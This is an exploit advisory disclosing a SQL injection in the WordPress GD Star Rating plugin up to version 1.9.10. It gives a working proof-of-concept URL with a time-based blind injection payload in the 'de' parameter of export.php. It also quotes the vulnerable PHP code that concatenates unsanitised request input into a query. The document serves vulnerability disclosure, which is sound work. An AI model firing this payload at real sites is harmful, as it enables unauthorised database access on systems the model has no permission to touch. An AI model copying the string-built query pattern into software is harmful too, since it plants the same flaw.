WordPress GD Star Rating 1.9.10 SQL Injection

`# Exploit Title: WordPress GD Star Rating plugin <= 1.9.10 SQL Injection Vulnerability  
# Date: 2011-09-26  
# Author: Miroslav Stampar (miroslav.stampar(at)gmail.com @stamparm)  
# Software Link: http://downloads.wordpress.org/plugin/gd-star-rating.zip  
# Version: 1.9.10 (tested)  
# Note: magic_quotes has to be turned off  
  
---  
PoC  
---  
http://www.site.com/wp-content/plugins/gd-star-rating/export.php?ex=user&us=dummy&de=-1' AND 1=IF(2>1,BENCHMARK(5000000,MD5(CHAR(115,113,108,109,97,112))),0)--%20  
  
---------------  
Vulnerable code  
---------------  
./export.php  
require_once("./code/cls/export.php");  
...  
if (isset($_GET["ex"])) {  
$export_type = $_GET["ex"];  
...  
switch($export_type) {  
case "user":  
header('Content-type: text/csv');  
header('Content-Disposition: attachment; filename="gdsr_export_'.$export_name.'.csv"');  
$sql = GDSRExport::export_users($_GET["us"], $_GET["de"], $get_data);  
$rows = $wpdb->get_results($sql, ARRAY_N);  
  
./code/cls/export.php  
class GDSRExport {  
...  
function export_users($user_data = "min", $data_export = "article", $get_data = array()) {  
...  
$where = array();  
...  
$where[] = "v.vote_type = '".$data_export."'";  
...  
$j_where = join(" and ", $where);  
...  
return sprintf("select %s from %s where %s order by u.id",  
$j_select, $j_tables, $j_where);  
  
  
`